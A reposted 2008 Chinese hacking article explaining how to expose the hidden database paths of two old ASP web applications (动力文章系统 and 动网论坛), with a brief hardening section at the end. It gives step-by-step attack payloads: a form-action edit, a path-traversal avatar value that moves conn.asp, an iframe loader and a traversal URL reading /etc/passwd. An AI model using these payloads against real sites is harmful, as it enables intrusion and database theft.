分享
 
 
 

你藏好了吗之轻松揪出数据库

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

前言

数据库作为一个站点的核心部分其重要性自然不言而喻,网管们也煞费苦心的把数据库改名、加上特殊符号来增加安全性。但是最近一些安全站点的数据库路径纷纷被人找到并下载,也就是最近讨论的很热的"暴库"技术。我和紫幻以及黑客X档案的各位朋友们也对这门技术进行了研究。虽说研究成果还不是很多,但希望能起一个抛转引玉的作用。下面我就拿两个系统来做实例分析:

动力文章系统

一般说来每一个站点程序文件中都会有一个连接数据的文件(一般是conn.asp),当然这个文件名和路径并不是固定的,有的是在站点根目录下,有的是放在专门的一个文件夹里,通常这个文件夹名为INC,文件名为conn.asp。如果把这和暴库联系起来,通常人们都会想到通过访问这个文件来得到关于数据库的信息,而实际上我们直接访问这个文件是不会得到我们想要的信息的,所以就需要结合一些漏洞来达到暴库的目的。

首先我来简单介绍一下这个程序,动力文章系统分为商业SQL版本和免费ACCESS版本,我们这里测试的当然是ACCESS版的。程序的conn.asp文件用于连接数据库,在/INC这个目录下,数据库文件在/Database目录下。连接数据库用的是相对路径:db="database/adsfkldfogowerjnokfdslwejhdfsjhk.mdb"

动力文章系统的这个数据库路径泄露隐患应该算是程序员的疏忽而造成的,由于conn.asp这个文件本身存在隐患,导致攻击者获得数据库路径。漏洞发现者:天天(即黑客X论坛叫sohu的那位MM:),参与研究者:怪狗、iceyes、sniper。(漏洞分析可以参http://www.hackerxfiles.net/bbs/dispbbs.asp?boardID=4&ID=27293)。

开始的时候我们还以为editor.asp这个文件缺乏足够的验证,但是后来分析我们才发现不是editor.asp的问题。天天的那种做法只是利用editor.asp查看服务器返回信息。我们再来演示一下这攻击过程。在IE中打开这个页面,看看这个页面能够起到什么作用

很显然,这个文件是用于编辑文章内容的时候用的,虽然没有什么别的权限,但是我们可以编辑更改HTML页面。点击"原代码"找到这样一段内容:

<FORM name=Login onsubmit="return CheckForm();" action=Admin_ChkLogin.asp method=post target=_parent

<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0

这是该页面进行身份验证的时候,将内容传递给Admin_ChkLogin.asp这个文件的内容,下面我们要做的就是把它改成conn.asp文件了:

<FORM name=Login onsubmit="return CheckForm();" action=http://www.target.com/inc/conn.asp method=post target=_parent

<TABLE cellSpacing=0 cellPadding=0 width=585 align=center border=0

改好后,点"预览",看到什么了?看到了吧!数据库路径出来了

这是什么原因呢,让我们看看这个:

'D:\web\power\access\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb'不是一个有效的路径。确定路径名称拼写是否正确,以及是否连接到文件存放的服务器。

目录结构我开始已经说了主目录下存在INC目录(用于存放conn.asp)和DATABASE目录(数据库文件,即adsfkldfogowerjnokfdslwejhdfsjhk.mdb),那既然DATABASE目录并不在INC目录下,刚才暴露数据库的时候却显示\inc\database\呢。这就是编写人员的一大疏忽。由于INC和DATABASE属于同级目录,当我们用editor.asp连接访问conn.asp的时候,由于DATABASE并没有在INC目录下,而系统确认为你是在请求\inc\database\adsfkldfogowerjnokfdslwejhdfsjhk.mdb这个文件,而实际上没有这个文件,系统找不到这个文件自然就报错拉。要解决这个问题,最直接的方法就是和动网那样使conn.asp处于数据库文件的上级目录或同一个目录中。

动网论坛

根据上面动力文章系统的分析我们可以得到存在数据库路径泄露这个问题的程序的标志:

1 conn.asp和调用它的文件(如INDEX.ASP)不在同一目录。

2 conn.asp连接数据库用的是相对路径。

知道了漏洞的原理,再来理解动网得到数据库的方法也就不难了。前一段时间臭要饭的发现了动网论坛的一个大漏洞,可以转移任何文件。如果单纯利用这个漏洞,至多可以把别人论坛文件删除,却得不到任何权限。那天我和紫幻讨论这个问题的时候,突然想到了一个方法,只要我们将这个漏洞结合我们动力文章得到数据库的方法,我们很容易的就可以想到得到动网论坛数据库的方法。下面和我一起来看看动网我们该怎么做吧。

动网的漏洞出在mymodify.asp这个文件上,它在对用户自定义头像的部分处理的过于草率,我们可以利用/.\来跳转目录并移动文件,看下面代码:

'******************

'对上传头象进行过滤与改名

if Cint(Forum_Setting(7))=1 then

on error resume next

dim objFSO,upfilename,newfilename

dim upface,memberid

set rs=conn.execute("select userid,face from [user] where userid="&userid)

memberid=rs(0)

upface=trim(rs(1))

newfilename=""

upfilename=split(upface,"/")

if ubound(upfilename)=1 and upfilename(0)="uploadFace" then

if instr(upfilename(1),"_")=0 then

newfilename="uploadFace/"&memberid&"_"&upfilename(1) /用户定义的头像变为uploadFace/用户ID

Set objFSO = Server.CreateObject("Scripting.FileSystemObject")

if objFSO.fileExists(Server.MapPath(upface)) then

objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""

end if

If Err.Number = 0 Then

conn.execute("update [user] set face='"&newfilename&"' where userid="&userid)

end if

set objFSO=nothing

end if

end if

rs.close

set rs=nothing

end if

'对上传头象进行过滤与改名结束

'****************

看看这句:

newfilename="uploadFace/"&memberid&"_"&upfilename(1) /newfilename=用户定义的头像变为uploadFace/用户ID_upfilename的另一部分

再看:

if objFSO.fileExists(Server.MapPath(upface)) then

objFSO.movefile ""&Server.MapPath(upface)&"",""&Server.MapPath(newfilename)&""

/看见没有?最关键的部分来了,如果检测到upface代表的文件存在,则对改文件进行移动并改名!

好了,代码分析完毕,看看我们到底应该怎么样利用它吧。注册一个用户,进入基本资料修改的页面后,关键部分就要来了。大家还记得在玩showfiles类文件的时候跳转目录来查看资料吗?类似下面的的URL,我们就利用../来跳转目录对passwd文件进行查看。提交:

http://www.target.com/show.php?file=../../../../../etc/passwd%00

相信大家都在那里把/、\、.和..的作用了解了吧。呵呵,下面我们要做的就是跳转目录把conn.asp转移过来。在自定义头像地址那里添上这样的一句:

uploadFace/.\..\conn.asp (注意大小写)

前面已经分析过代码了,这句话的意思应该看的懂了吧,我们把“头像”地址指向了上级目录的conn.asp。由于符合它的判断条件upface存在,所以它就会把conn.asp这个文件转移到uploadFace这个目录来,这样就符合我们玩动力文章系统的时候的第一个条件了。一般大家用的都是相对路径,所以下面我们只要调用这个文件就会知道数据库路径。新建一个HTML文件写上如下内容:

<IFRAME marginWidth=0 marginHeight=0 src="http://www.target.com/dvbbs/uploadFace/conn.asp" frameBorder=0 width=500 scrolling=noshade height=400</IFRAME

再打开这个HTML文件,看看,数据库路径出来了吧!

安全篇

看来问题都出在conn.asp本身,不打自招。为了安全我们得好好处理一下它。

最笨的方法就是把它改名了,让别人猜不到路径。但是它要被很多文件调用,还得改其它地方。

我们用相对路径的时候,数据库路径会随着调用conn.asp的文件而改变,从而产生了错误。那么我们就让连接数据库使用绝对路径,这样一来不管谁调用conn.asp数据库路径都不变了。

我在测试动网这个漏洞的时候,发现对一些比较新的版本,就是文件挪移成功了也暴不出数据库路径。但是有的6.0版本有效。看来新的版本动网论坛对conn.asp进行了特殊的处理。对比了一下两个不同的conn.asp,发现新的conn.asp里加了这么一句:

On Error Resume Next

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有